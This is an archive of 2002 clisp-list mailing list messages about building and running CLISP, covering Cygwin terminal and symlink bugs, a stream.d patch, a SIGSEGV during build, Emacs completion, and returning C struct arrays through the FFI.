> ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ...
> ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished.
> [1]>

are you really getting this __after__ CLISP prints the prompt?!

> *** - UNIX error 13 (EACCES): Permission denied
> *** - UNIX error 13 (EACCES): Permission denied
> ...
> [1]+  Stopped                 clisp
> 
> I'd appreciate suggestions.

I cannot reproduce this, alas, either with the current CVS head or with
2.29 release on w2k.

could you please debug this?
1. ./configure --with-debug --build build-g
2. cd build-g
3. gdb -nw
(gdb) break OS_error
(gdb) run
...
(gdb) where


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> * In message <23B38FECB4213142A4E017F783B3391D503C3B@jarjar.bhusa.bhsoftware.com>
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>
> Ok, here's the deal. Sam, I followed your instructions precisely for
> building a debuggable version of clisp 2.29. If I run the resultant
> program from within gdb, or even strace, it works fine. If I run the
> exe from bash, however, the problem manifests itself.

wow!!!

> I'm using the "better-termcap" available in the distro, and TERM is
> set to 'cygwin32', although I've tried the run both this way and with
> stock cygwin. This sure smells of some type of console issue (?)

don't use this `better-termcap'.
readline should work without it.
it will be gone in the next release anyway.

did you try CVS head?

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I'm grabbing the CVS head right now. I'll also back out the "better-termcap"
as well. Stay tuned...

-- dey

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> * Sent on Thu, 1 Aug 2002 14:21:45 -0400 
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>
> Ok, here's the deal. Sam, I followed your instructions precisely for
> building a debuggable version of clisp 2.29. If I run the resultant
> program from within gdb, or even strace, it works fine. If I run the
> exe from bash, however, the problem manifests itself.

wow!!!

> I'm using the "better-termcap" available in the distro, and TERM is
> set to 'cygwin32', although I've tried the run both this way and with
> stock cygwin. This sure smells of some type of console issue (?)

don't use this `better-termcap'.
readline should work without it.
it will be gone in the next release anyway.

did you try CVS head?

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Date: Thu Aug  1 14:33:56 2002
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Hi,

Friday, August 02, 2002, 1:06:19 AM, you wrote:

>>> does the MS-win32 binary for 2.29 found on
>>> sourceforge/FILES include the regexp module?

>>I think it doesn't (if it's mine). I never worked with
>>clisp modules in its native enviroinment (UNIX), so
>>was unable to produce such distribution. You mentioned
>>your article about clisp modules, is it ready ?

> I  don't  understand how UNIX, "native environment" or my
> article  on modules come into play with having the regexp
> module in the MS-win32 native distribution.

I tried to make it and didn't succeeded. Regex package seems
don't appearing in memory image.

> In  March,  I gave (hopefully) repeatable instructions on
> how to compile CLISP with modules/regexp/ using MS-VC++6.
> Everything needed (except 1-2 patches to sources found in
> the  CLISP  distribution)  is  either in the CLISP source
> archive, or your C compiler. It's trivial to do.
Sorry, I forgot about it. In march I was deeply in win32 stack
handling and didn't read it.

> I'll send you the current version of my article on modules in a separate e-mail.
Thank you.

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Hi CLISP users,

Jochen Schmidt wrote in cll about
>Re: Question on using Scheme on Large Projects
>As maintainer of ACL-COMPAT which is used by a webserver (Portable=20
>AllegroServe) I tend to disagree. It's a complete Socket API which is=20
>portable between ACL, CMUCL,  LispWorks, MCL and OpenMCL. Chris Double =
has=20
>written a library which makes that API accessible for Corman Lisp too.
>Please if you have looked at it and still have issues about =
interoperability=20
>then contact us and we will see what we can do.

We had a discussion recently about socket-connect-timeout and other =
socket issues.
Maybe it would be useful to design future CLISP socket functionality so =
that it can easily support ACL-COMPAT?

I had similar thoughts about the CLISP FFI and the possibility for UFFI =
to support CLISP, especially about how to define a module (aka foreign =
library) as a set of foreign library functions. What matters here is =
how to reference the module by short alias instead of system and =
environment dependent pathname.

The thought was: why should I care about this, since UFFI already =
includes such functionality? So the new goal might become: "How to =
supply just enough functionality so that UFFI macros can easily map =
onto these low-level primitives?"

This is easier to achieve than invent yet another high-level foreign =
library declaration and management system.

I believe similar thoughts could apply to providing new socket =
extensions to CLISP. The driving question could become: "What low-level =
functionality must be there to make it easy for Jochen Schmidt of =
ACL-COMPAT fame to support CLISP as well?"

Regards,
	J=F6rg H=F6hle.


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Hoehle, Joerg-Cyril schrieb:
> What is open is whether my suggested alloca() patch to modules/regexp/regex.c could be accepted by some GNU regexp/Emacs/whoever maintainers.
> Another thing, which does not in any way affect my patches, is whether to replace the ~6-year old modules/regex.c by some newer GNU code. Did anyone ever complain about this module being old or buggy?


BTW: I recently worked on a PCRE FFI module for cormanlisp,
which can be easily ported to UFFI or CLISP using
regexp/regexp.lisp.

The replace function doesn't work yet as expected
(in spirit to perl s/from/to/ig...)

My server is currently offline but it should be somewhere at my 
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>>>>> "Jorg" == Hoehle, Joerg-Cyril <Joerg-Cyril.Hoehle@t-systems.com> writes:

    Jorg> It makes sense (in theory) to check the close status because

this can be done testing the return value of fclose. According to
ANSI C Standard (section 7.9.5.1):

"The fclose function returns zero if the stream was successfully
closed, or EOF if any errors were detected."

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Hi,

I am not able to compile CLISP 2.29 at work & home.
This is what I get at work:

;; Datei format.lisp wird geladen...
*** - handle_fault error2 ! address = 0xFFFFFF88 not in 
[0x68049180,0x680AB000) !
SIGSEGV kann nicht behoben werden. Fehler-Adresse = 0xFFFFFF88.
make: *** [interpreted.mem] Speicherzugriffsfehler (core dumped)
Command exited with non-zero status 2

The same happens at home: SIGSEGV & core dump when loading format.lisp.
I tried with optimization disabled, with optimization enabled + 
-fno-gcse, etc., the result is always the same.

Config at work:
   gcc -v
   Reading specs from /usr/lib/gcc-lib/i586-pc-linux-gnu/3.1.1/specs
   Configured with: ../gcc-3.1/configure --prefix=/usr
   --enable-languages=c,c++,java,f77
   Thread model: single
   gcc version 3.1.1

   libc is 2.1.1

   uname -a
   Linux feynmann.xxx 2.4.18-ngpt #7 SMP Don Jul 18 16:19:42 CEST
   2002 i586 unknown

   CPU is AMD K6

Config at home:

   gcc as above (3.1.1)

   libc is 2.2.5

   kernel 2.4.18 without patches

   CPU is PIII

Tried compiling with -g, but gdb backtrace seems not useful to me
(I'm not an expert) - only two frames visible when gdb ./lisp.run core,
last frame in context __setfpucw(_FPU_IEEE);. I beg pardon if this info
is not useful...
Please tell me if any other info neccessary.

Regards & tanks in advance,

   --manuel



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Hi again,

just doing a dataflow analysis on the code below shows that it cannot be correct.
perror() doesn't get as input the file handle for which to print an error, so what can it do?

input-output flow into functions analysis is a very revealing technique.

As a result from the below use of the perror function, everyone can conclude that it can at best only say something about the last error that happened in the system (and this is actually what the manpage says), using hidden communication channels (typically errno).

Therefore, perror(infilename) cannot reliably report the error that occured when closing the input file, since a subsequent error may have occured when closing the output file: that one would be reported instead and falsely attributed to the input file.

The code is not correct (w.r.t. to an imaginary specification derived by "Do What I Intended"), aka broken.

>   120    /* close files: */
>   121    fclose(infile);
>   122    fclose(outfile);
>   123    if (ferror(infile))
>   124      { perror(infilenamebuffer); exit(__LINE__); }
>   125    if (ferror(outfile))
>   126      { perror(outfilenamebuffer); exit(__LINE__); }
>   127    exit(0); /* OK */

Note however that this issue is independent of the implementation issue of whether ferror() produces meaningful results after fclose() is called. I believe it should, in order to be useful, but the answer must come from the specification of the ANSI C I/O - hopefully.

Involved problem areas: should calls reset errno before they try to do anything, e.g. at function entry? Should functions like fwrite() do anything in case ferror() on the given FILE* is set or must one clearerr()? etc.

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	Jorg Hohle.


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Hi all,

Just a quick question: how do I get completion when
running clisp in an Emacs *inferior-lisp* buffer?
I tried ESC-TAB but I get a "no tags table loaded"
message.
I do have completion with the tab key in a Linux
terminal window, but not in MS Windows.

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Ok, here's an update on that "UNIX Error 13" endless loop trouble I reported
yesterday.

After building the CVS head, the problem remains. However, Matthias Lindner
sent me mail this morning with a patch he'd made for this problem; he had
the same problem with CLISP 2.28 on cygwin, running rxvt. I applied the
patch to stream.d; the first hunk took, the second failed (probably because
I applied the thing to the latest CLISP and not 2.28). In any event, I
recompiled CLISP and behold! the trouble disappeared.

Matthias claims no responsibility for "correctness" here; he just tried
something to see if it would address his problem. Here's a snippet from his
mail, with permission:

"What I did was to hack stream.d to simply skip the error.
Included is my patch to stream.d which solved this problem for me and
solved another, where readline did not work, as Clisp did not
realize, that "/dev/conin" and "/dev/conout" are the same device.
As I mentioned I don't think what I did is a "proper" solution - it
just kept me going. Maybe it helps you (to find a proper solution?)."

Sam, I've included the patch to see if it will spark any ideas. Let me know
if I can help further.

---- Cut here -------------------------------------------------------------
--- stream.d~	Sun Mar  3 00:21:30 2002
+++ stream.d	Tue Mar 12 18:55:15 2002
@@ -3237,8 +3237,8 @@
           #if defined(UNIX_IRIX) || defined(EMUNIX)
           if (!(errno==ENOSYS))
           #endif
-          #ifdef UNIX_CYGWIN32 # needed for Win95 only
-          if (!(errno==EBADF))
+          #ifdef UNIX_CYGWIN32 # needed for Win95 only / EACCES for
xterm/rxvt
+          if (!((errno==EBADF) || (errno==EACCES)))
           #endif
           if (!(errno==EINVAL))
             { OS_error(); }
@@ -10063,8 +10063,15 @@
       struct stat stdin_stat;
       struct stat stdout_stat;
       if ((fstat(stdin_handle,&stdin_stat) >= 0) &&
(fstat(stdout_handle,&stdout_stat) >= 0))
-        if ((stdin_stat.st_dev == stdout_stat.st_dev) && (stdin_stat.st_ino
== stdout_stat.st_ino))
+          if (stdin_stat.st_dev == stdout_stat.st_dev) 
+            if (stdin_stat.st_ino == stdout_stat.st_ino)
           same_tty = true;
+            #ifdef UNIX_CYGWIN32 # Cygwin in NT Shell needs this
+            else
+              if ((strcmp("/dev/conin",  ttyname(stdin_handle))  == 0)  &&
+                  (strcmp("/dev/conout", ttyname(stdout_handle)) == 0))
+                same_tty = true;
+          #endif
      #endif
     #endif
     #ifdef MSDOS
---- Cut here -----------------------------------------------------------


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> * In message <DFD875E85664D3118FA6080006277DE7061693FC@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] idea about how to design CLISP's socket functions (or CLISP's FFI for UFFI): target ACL-COMPAT"
> * Sent on Fri, 2 Aug 2002 09:32:52 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Maybe it would be useful to design future CLISP socket functionality
> so that it can easily support ACL-COMPAT?

why can't CLISP support ACL-COMPAT now?

> The thought was: why should I care about this, since UFFI already
> includes such functionality? So the new goal might become: "How to
> supply just enough functionality so that UFFI macros can easily map
> onto these low-level primitives?"
> 
> This is easier to achieve than invent yet another high-level foreign
> library declaration and management system.

just do it then!

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could you please try CVS head?

> * In message <3D4A65EE.3030000@tang-it.com>
> * On the subject of "[clisp-list] SIGSEGV in 2.29; format.lisp"
> * Sent on Fri, 02 Aug 2002 12:58:54 +0200
> * Honorable Manuel Nunez <manuel.nunez@tang-it.com> writes:
>
> Hi,
> 
> I am not able to compile CLISP 2.29 at work & home.
> This is what I get at work:
> 
> ;; Datei format.lisp wird geladen...
> *** - handle_fault error2 ! address = 0xFFFFFF88 not in
>       [0x68049180,0x680AB000) !
> SIGSEGV kann nicht behoben werden. Fehler-Adresse = 0xFFFFFF88.
> make: *** [interpreted.mem] Speicherzugriffsfehler (core dumped)
> Command exited with non-zero status 2
> 
> The same happens at home: SIGSEGV & core dump when loading format.lisp.
> I tried with optimization disabled, with optimization enabled +
> -fno-gcse, etc., the result is always the same.
> 
> Config at work:
>    gcc -v
>    Reading specs from /usr/lib/gcc-lib/i586-pc-linux-gnu/3.1.1/specs
>    Configured with: ../gcc-3.1/configure --prefix=/usr
>    --enable-languages=c,c++,java,f77
>    Thread model: single
>    gcc version 3.1.1
> 
>    libc is 2.1.1
> 
>    uname -a
>    Linux feynmann.xxx 2.4.18-ngpt #7 SMP Don Jul 18 16:19:42 CEST
>    2002 i586 unknown
> 
>    CPU is AMD K6
> 
> Config at home:
> 
>    gcc as above (3.1.1)
> 
>    libc is 2.2.5
> 
>    kernel 2.4.18 without patches
> 
>    CPU is PIII
> 
> Tried compiling with -g, but gdb backtrace seems not useful to me
> (I'm not an expert) - only two frames visible when gdb ./lisp.run core,
> last frame in context __setfpucw(_FPU_IEEE);. I beg pardon if this info
> is not useful...
> Please tell me if any other info neccessary.
> 
> Regards & tanks in advance,
> 
>    --manuel
> 
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> * In message <20020802122211.7792.qmail@web20006.mail.yahoo.com>
> * On the subject of "[clisp-list] Completion in Emacs and terminal"
> * Sent on Fri, 2 Aug 2002 14:22:11 +0200 (CEST)
> * Honorable Grzegorz Chrupala <grechru@yahoo.com> writes:
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> Just a quick question: how do I get completion when
> running clisp in an Emacs *inferior-lisp* buffer?

1. do not give CLISP "-I" command line switch.

2. (define-key inferior-lisp-mode-map "\C-i"
  (lambda () (interactive) (process-send-string (get-buffer-process
  inferior-lisp-buffer) "\C-i")))

> but not in MS Windows.
you should get it with cygwin.

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I made a new binary release for cygwin that at least on my system builds 
correctly.
The binary is available on 
http://perso.wanadoo.es/karsten.poeck/clisp-2.29.1-i686-unknown-cygwin_me-4.90-1.3.12.tar.gz

The problem with cygwin is that the make distrib does not work correctly 
since the tar command does not resolves the links.

Un saludo

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Karsten,

Would you explain the problem you had with Cygwin's tar? It handles Cygwin 
symlinks (no other TAR command will, since Cygwin's symlinks are a 
specially tagged Windows shortcut) and likewise it handles hard links, 
provided the file system to which the files are being extracted or from 
which they originated is an NTFS file system volume (since that's the only 
Windows file system that supports hard links).


By the way, I must apologize for not being able to get the Cygwin package 
out, but attempting to compile it causes my system to hang (repeatably and 
reliably, when compiling a particular file). I think it's a hardware 
problem--the system hangs like this from time to time, though never before 
predictably or repeatably). So far I've neither diagnosed the real problem 
nor found a work-around.


Randall Schulz
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At 08:19 2002-08-03, Karsten wrote:
>I made a new binary release for cygwin that at least on my system builds 
>correctly.
>The binary is available on 
>http://perso.wanadoo.es/karsten.poeck/clisp-2.29.1-i686-unknown-cygwin_me-4.90-1.3.12.tar.gz
>
>The problem with cygwin is that the make distrib does not work correctly 
>since the tar command does not resolves the links.
>
>Un saludo
>
>Karsten



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regarding the potential cygwin tar problems:

Let me first describe the effects:
Downloading and installing clisp-2.29-i686-unknown-cygwin_nt-5.0-1.3.12.tar.gz
results in the following error:

$ make
gcc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a 
base/libicon
v.a base/libreadline.a base/libavcall.a base/libcallback.a -lncurses -lm -o 
base
/lisp.run
base/libintl.a: file not recognized: File format not recognized
collect2: ld returned 1 exit status
make: *** [base/lisp.run] Error 1

Inspecting libintl.a shows that it is a very short file containing some 
binary fields and fianlly some bytes looking like gettext/intl/libint.a 
gettext\intl\libintl.a

Similar things happens with nearly all files in the distribution. 
Interesting enough is src: all .lisp files are broken, all fasl files are 
correct.

Analysing this a bit further one can see that both fasl and lisp files are 
copied with the same instruction in the make distrib

ln $(LISPFILES) $(FASFILES) $(TOPDIR)/src

Ok, so a simple ln is not the problem.

By further inspecting the origin of the  lispfiles in the current directory 
one notes an important difference: The *.lisp files are already links ,e.g.
lrwxrwxrwx    1 default  544           153 Aug  3 23:53 xcharin.lisp -> 
../src/x
charin.lisp

By further investigation in the makefile one finds that the *.lisp files in 
the directory are generated via
ln -s, i.e. are symbolic links.

Conclusion:
In Cygwin applying ln -s to a file and afterwards ln to the link results in 
an unusable file. Since the same chain of instructions works fine in my 
Linux, I assume this is a problem within cygwin.

Now it seems i shoudn't have said that tar is the culprit, the problems 
seems to be a step earlier.

Karsten

PS:
A while ago somebody asked why bother with cygwin at all if there are so 
many problems with clisp. One reason is that at least on my box cygwin 
clisp is twice as fast a the windows clisp. It is even faster than in 
Linux, probably because I used gcc 304 in cygwin and gcc 2.95 something in 
Linux.




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Karsten,

Interesting.

This is the precise problem that Sam Steingold reported to the Cygwin mail 
list just a few days ago. The head Cygwin developer, Chris Faylor (at 
Redhat) has already devised a fix but it's only available in a patch 
release of the Cygwin "kernel" (cygwin1.dll).

The problem, in short, is making a hard link to a symbolic link. That hard 
link to a symbolic link does not get the ".lnk" suffix it needs and so is 
not interpreted as a symbolic link, even though that's what its contents 
really are (since it's just a nother name for the symbolic link).

I can suggest a work-around that might make things manageable for you.

Wherever appears an "ln" (plain old hard-link "ln" invocations) whose 
target (first argument) is a symbolic link, the newly created link name 
should manually / explicitly supply a ".lnk" suffix.

Thus:

# "symLinkTarget" is a symbolic link to some other file
# "hardLinkToTarget" is the hard link to create
#   that should alias the "symLinkTarget"

# No good:
% ln symLinkTarget hardLinkToSymlink

# Work-around:
% ln symnlinkTarget hardLinkToSymlink.lnk


Here's an example:

% echo "realFile" >realFile
% ln -s realFile realFile-sl

# No good:
% ln realFile-sl realFile-sl-hl1

# Work-around:
% ln realFile-sl realFile-sl-hl2.lnk

# Test
% cat realFile
realFile
% cat realFile-sl
realFile
% od -c realFile-sl-hl1
0000000   L  \0  \0  \0 001 024 002  \0  \0  \0  \0  \0 300  \0  \0  \0
0000020  \0  \0  \0   F  \f  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000040  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000060  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0 001  \0  \0  \0
0000100  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \b  \0   r   e
0000120   a   l   F   i   l   e  \b  \0   r   e   a   l   F   i   l   e
0000140
% cat realFile-sl-hl2
realFile

You can also simplly rename, via "mv", the existing hardlinks to the 
symbolic links that have no ".lnk" suffix:

% mv realFile-sl-hl1 realFile-sl-hl1.lnk
% cat realFile-sl-hl1.lnk
realFile


I hope that helps. I'll let you and Sam (and the CLISP list) know when a 
release version of Cygwin is available that fixes this problem.

Lastly, so you know and can think about the consequences, the fix that 
Chris Faylor has devised is simply to resolve the symbolic link when making 
a hard link to it. Thus a request to make a hard link to the symbolic link 
will end up making a hard link to the ultimate target of the symbolic link 
instead.

Good luck. Feel free to ask more about this or other Cygwin issues.

Randall


At 04:09 2002-08-04, Karsten wrote:
>regarding the potential cygwin tar problems:
>
>Let me first describe the effects:
>Downloading and installing clisp-2.29-i686-unknown-cygwin_nt-5.0-1.3.12.tar.gz
>results in the following error:
>
>$ make
>gcc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a 
>base/libicon
>v.a base/libreadline.a base/libavcall.a base/libcallback.a -lncurses -lm 
>-o base
>/lisp.run
>base/libintl.a: file not recognized: File format not recognized
>collect2: ld returned 1 exit status
>make: *** [base/lisp.run] Error 1
>
>Inspecting libintl.a shows that it is a very short file containing some 
>binary fields and fianlly some bytes looking like gettext/intl/libint.a 
>gettext\intl\libintl.a
>
>Similar things happens with nearly all files in the distribution. 
>Interesting enough is src: all .lisp files are broken, all fasl files are 
>correct.
>
>Analysing this a bit further one can see that both fasl and lisp files are 
>copied with the same instruction in the make distrib
>
>ln $(LISPFILES) $(FASFILES) $(TOPDIR)/src
>
>Ok, so a simple ln is not the problem.
>
>By further inspecting the origin of the  lispfiles in the current 
>directory one notes an important difference: The *.lisp files are already 
>links ,e.g.
>lrwxrwxrwx    1 default  544           153 Aug  3 23:53 xcharin.lisp -> 
>../src/x
>charin.lisp
>
>By further investigation in the makefile one finds that the *.lisp files 
>in the directory are generated via
>ln -s, i.e. are symbolic links.
>
>Conclusion:
>In Cygwin applying ln -s to a file and afterwards ln to the link results 
>in an unusable file. Since the same chain of instructions works fine in my 
>Linux, I assume this is a problem within cygwin.
>
>Now it seems i shoudn't have said that tar is the culprit, the problems 
>seems to be a step earlier.
>
>Karsten
>
>PS:
>A while ago somebody asked why bother with cygwin at all if there are so 
>many problems with clisp. One reason is that at least on my box cygwin 
>clisp is twice as fast a the windows clisp. It is even faster than in 
>Linux, probably because I used gcc 304 in cygwin and gcc 2.95 something in 
>Linux.



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Karsten,

Interesting.

This is the precise problem that Sam Steingold reported to the Cygwin mail 
list just a few days ago. The head Cygwin developer, Chris Faylor (at 
Redhat) has already devised a fix but it's only available in a patch 
release of the Cygwin "kernel" (cygwin1.dll).

The problem, in short, is making a hard link to a symbolic link. That hard 
link to a symbolic link does not get the ".lnk" suffix it needs and so is 
not interpreted as a symbolic link, even though that's what its contents 
really are (since it's just a nother name for the symbolic link).

I can suggest a work-around that might make things manageable for you.

Wherever appears an "ln" (plain old hard-link "ln" invocations) whose 
target (first argument) is a symbolic link, the newly created link name 
should manually / explicitly supply a ".lnk" suffix.

Thus:

# "symLinkTarget" is a symbolic link to some other file
# "hardLinkToTarget" is the hard link to create
#   that should alias the "symLinkTarget"

# No good:
% ln symLinkTarget hardLinkToSymlink

# Work-around:
% ln symnlinkTarget hardLinkToSymlink.lnk


Here's an example:

% echo "realFile" >realFile
% ln -s realFile realFile-sl

# No good:
% ln realFile-sl realFile-sl-hl1

# Work-around:
% ln realFile-sl realFile-sl-hl2.lnk

# Test
% cat realFile
realFile
% cat realFile-sl
realFile
% od -c realFile-sl-hl1
0000000   L  \0  \0 \0 001 024 002  \0  \0 \0  \0 \0 300  \0  \0 \0
0000020  \0  \0 \0   F  \f  \0  \0 \0  \0 \0  \0 \0  \0 \0  \0 \0
0000040  \0  \0 \0  \0 \0  \0 \0  \0 \0  \0 \0  \0 \0  \0 \0  \0
0000060  \0  \0 \0  \0 \0  \0 \0  \0 \0  \0 \0  \0 001  \0  \0 \0
0000100  \0  \0 \0  \0 \0  \0 \0  \0 \0  \0 \0  \0 \b  \0   r   e
0000120   a   l   F   i   l   e  \b  \0   r   e   a   l   F   i   l   e
0000140
% cat realFile-sl-hl2
realFile

You can also simplly rename, via "mv", the existing hardlinks to the 
symbolic links that have no ".lnk" suffix:

% mv realFile-sl-hl1 realFile-sl-hl1.lnk
% cat realFile-sl-hl1.lnk
realFile


I hope that helps. I'll let you and Sam (and the CLISP list) know when a 
release version of Cygwin is available that fixes this problem.

Lastly, so you know and can think about the consequences, the fix that 
Chris Faylor has devised is simply to resolve the symbolic link when making 
a hard link to it. Thus a request to make a hard link to the symbolic link 
will end up making a hard link to the ultimate target of the symbolic link 
instead.

Good luck. Feel free to ask more about this or other Cygwin issues.

Randall


At 04:09 2002-08-04, Karsten wrote:
>regarding the potential cygwin tar problems:
>
>Let me first describe the effects:
>Downloading and installing clisp-2.29-i686-unknown-cygwin_nt-5.0-1.3.12.tar.gz
>results in the following error:
>
>$ make
>gcc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a 
>base/libicon
>v.a base/libreadline.a base/libavcall.a base/libcallback.a -lncurses -lm 
>-o base
>/lisp.run
>base/libintl.a: file not recognized: File format not recognized
>collect2: ld returned 1 exit status
>make: *** [base/lisp.run] Error 1
>
>Inspecting libintl.a shows that it is a very short file containing some 
>binary fields and fianlly some bytes looking like gettext/intl/libint.a 
>gettext\intl\libintl.a
>
>Similar things happens with nearly all files in the distribution. 
>Interesting enough is src: all .lisp files are broken, all fasl files are 
>correct.
>
>Analysing this a bit further one can see that both fasl and lisp files are 
>copied with the same instruction in the make distrib
>
>ln $(LISPFILES) $(FASFILES) $(TOPDIR)/src
>
>Ok, so a simple ln is not the problem.
>
>By further inspecting the origin of the  lispfiles in the current 
>directory one notes an important difference: The *.lisp files are already 
>links ,e.g.
>lrwxrwxrwx    1 default  544           153 Aug  3 23:53 xcharin.lisp -> 
>../src/x
>charin.lisp
>
>By further investigation in the makefile one finds that the *.lisp files 
>in the directory are generated via
>ln -s, i.e. are symbolic links.
>
>Conclusion:
>In Cygwin applying ln -s to a file and afterwards ln to the link results 
>in an unusable file. Since the same chain of instructions works fine in my 
>Linux, I assume this is a problem within cygwin.
>
>Now it seems i shoudn't have said that tar is the culprit, the problems 
>seems to be a step earlier.
>
>Karsten
>
>PS:
>A while ago somebody asked why bother with cygwin at all if there are so 
>many problems with clisp. One reason is that at least on my box cygwin 
>clisp is twice as fast a the windows clisp. It is even faster than in 
>Linux, probably because I used gcc 304 in cygwin and gcc 2.95 something in 
>Linux.


Randy 



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Hi,

I mistakenly sent my reply to Karsten to the list twice.

But I have no idea where the copy of that message with the subject "Email 
abuse" came from.

What's up with that?

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Hi,

Sorry again.

The "Email abuse" message I referred to was not sent to the list, just to 
me, but my mail filters mistakenly put it in my CLISP mailing list mailbox. 
I should have realized that fact owing to the absence of the "[clisp-list]" 
tag in the "Subject:" header.

Has anyone else been branded an "Email abuser" by 
zamansky@zamansky.dyndns.org, zamansky@localhost.dyndns.org and / or 
zamansky@stuy.edu?

It seems a single repeated message is an overly sensitive criteria for such 
a condemnation...

Randy 



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On Sun, 4 Aug 2002, Randall R Schulz wrote:

> Has anyone else been branded an "Email abuser" by 
> zamansky@zamansky.dyndns.org, zamansky@localhost.dyndns.org and / or 
> zamansky@stuy.edu?
> 
> It seems a single repeated message is an overly sensitive criteria for such 
> a condemnation...

Relax, it's probably just some filtering software. I hope zamansky
realizes, as I once did, that mail filters which send replies are
intractable, an that two copies are not unusual from a mailing
list.

You never know where the auto reply will go, since the return address
can be forged. Imagine if everyone had such a filter, and then a whole
lot of spammers decided they were going to forge messages from a single
mailbox. That destination would be subject to an effective DDoS from
all the auto-reply filters.

That's not the only problem. Auto replying can create mail routing
loops. You can be clever with X-Loop headers, but what if something
in the loop munges them?

A while ago I wrote a cookie-based e-mail authentication system (in
Lisp, of course) that could be installed as a filter under procmail.
The algorithm worked, but it created too many problems. There
are just too many kinds of things you can receive that must be
exempt from such processing---such as, for instance, complaints and
threats from sysadmins of networks you've never heard of about turning
off your goddamned mail authentication sript or we will blackhole
your network block. :)

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I'm writing an external "C" function called from CLISP via the FFI and
I want my "C" function to return an array of some variable number of
structs from "C".  How do I do that?

My function fills in an array of structs (not pointers, whole structs,
and also returns a count of how many it allocated and filled in, i.e.:

struct extcol * col_info()

I've got a separate function "ncol()" that can be called to get the
count from Lisp so it knows how many to read in.

Where I'm stuck is how to declare the return tyep of my function.

The docs mention a "C-ARRAY-PTR"

	(FFI:C-ARRAY-PTR c-type) This type is equivalent to what C
	calls c-type (*)[]: a pointer to a zero-terminated array of items of
	the given c-type.

but I'm confused as to whether this means I'm declaring a pointer to
(1) the base of an array of "c-types" or to (2) the base of an array
of "pointer to c-types"

The "zero-terminated" blurb in the comments suggests (2) - how could
you zero-terminate an array of structs, however, looking at examples
of modules distributed with CLISP suggests (1) ...
	
any ideas?

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Does anybody know if somebody did an IPC binding for clisp? There is
one for Allegro. 

http://www-2.cs.cmu.edu/~IPC/

TIA

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John K. Hinsdale asked:
>I'm writing an external "C" function called from CLISP via the FFI and
>I want my "C" function to return an array of some variable number of
>structs from "C".  How do I do that?

You can do that with the standard CLISP FFI in only one case: when the array is zero-terminated. This includes a structure completely filled with 0 bytes, not just C strings of one byte characters.
Does your function match that requirement?


> how could you zero-terminate an array of structs,
No problem at all, as indicated above. :-)
When using zero'ed structs, beware of uninitialized padding bytes.

>My function fills in an array of structs (not pointers, whole structs,
Whole structs are no problem at all to the CLISP FFI.


>I've got a separate function "ncol()" that can be called to get the
>count from Lisp so it knows how many to read in.
The current FFI cannot use that, unless you start playing tricks using CAST, foreign variable objects and run-time declared FFI types.

This would become (using my FFI extensions, which are only half in  current CLISP, I don't know how much of this is in 2.29):

(let* ((entries (col-info)) (len (ncol)))
  ;; assumes col-info returns a C-POINTER type, otherwise cast
  (ffi:with-c-var (base 'ffi:c-pointer entries)
    (ffi:cast base `(ffi:c-ptr (ffi:c-array ffi:uint16 ,len)))))
    ;; run-time cast of complex thing is inefficient
or
; this form may optimize better in some possible far future
(let* ((entries (col-info)) (len (ncol)))
  ;; assumes col-info returns a C-POINTER type, otherwise cast
  (ffi:with-c-var (base `(ffi:c-ptr (ffi:c-array ffi:uint16 ,len)))
    (setf (cast base 'ffi:c-pointer) entries)
    base)) ; (deref base) is superfluous, CLISP converts to true Lisp objects

I'd appreciate comments on whether the above is a worthwile approach or obfuscation.


>The docs mention a "C-ARRAY-PTR"
>	(FFI:C-ARRAY-PTR c-type) This type is equivalent to what C
>	calls c-type (*)[]: a pointer to a zero-terminated 
>     array of items of the given c-type.
>but I'm confused as to whether this means I'm declaring a pointer to
>(1) the base of an array of "c-types" or to (2) the base of an array
>of "pointer to c-types"
>The "zero-terminated" blurb in the comments suggests (2) - how could
>you zero-terminate an array of structs, however, looking at examples
>of modules distributed with CLISP suggests (1) ...

It's exactly as the docs say (include Humpty Dumpty Lewis Carroll quote here) and don't be mislead by "suggestions", your beliefs or the typical use of zero-termination only applied to termination of char arrays. The concept is more general.


BTW, I still tend to think the following is the best approach to your needs. Yet it will probably never be implemented. The debate is whether it's worthwhile at all to provide high-level interfaces to low-level FFI stuff.
These complex prototypes are of no use to people who wish to generate declarations from existing C or IDL headers.

(def-call-out col-info
  :arguments ((len uint :alloca :out))
  :return-type (c-ptr (c-array uint16 is_size(len)))
  :guard #'(lambda (x) (not (foreign-address-null x))))
or a similar thing using an out parameter:
(def-call-out col-info
  :arguments ((entries (c-ptr (c-array uint16 is_size(return))) :alloca :out))
  :return-type uint)
or with an extra error status indication:
(def-call-out col-info
  :arguments ((len uint :alloca :out)
	      (entries (c-ptr (c-array uint16 is_size(len))) :alloca :out))
  :return-type uint
  :guard #'zerop) ; 0 is success return code

Regards,
	Jorg Hohle.


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Hi

When I install clisp-2.28-win32, I encounter the following problems:

1. I excute the command lisp.exe -M lispinit.mem from  command line, the work is done well.

2. I excute the command (compile-file "src/config.lisp") from clisp prompt line, the work is done well.

3. But when I use load command do this work , e.g. (load "src/config.fas"), the work is done incorrectly, the message displays on screen:

** Continuable error

DEFUN/DEFMACRO(SHORT-SITE-NAME): #(PACKAGE COMMON-LISP) is locked.

Who may tell me how can I install clisp-2.28-win32 correctly?

Thanks.

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Hi,

Tuesday, August 06, 2002, 7:19:28 PM, you wrote:

> 3. But when I use load command do this work , e.g. (load "src/config.fas"), the work is done incorrectly, the message displays on screen:
> ** Continuable error
> DEFUN/DEFMACRO(SHORT-SITE-NAME): #(PACKAGE COMMON-LISP) is locked.
> Who may tell me how can I install clisp-2.28-win32 correctly?

Why don't you use 2.29 version ?

Try either typing :c at every continuable error (actually a warning)
or run config.fas with command

(without-package-lock nil (load "src/config.fas"))

readme is somewhat outdated - after (saveinitmem) you can use install.bat
to associate file extensions. But install.bat in 2.28 and 2.29 doesn't
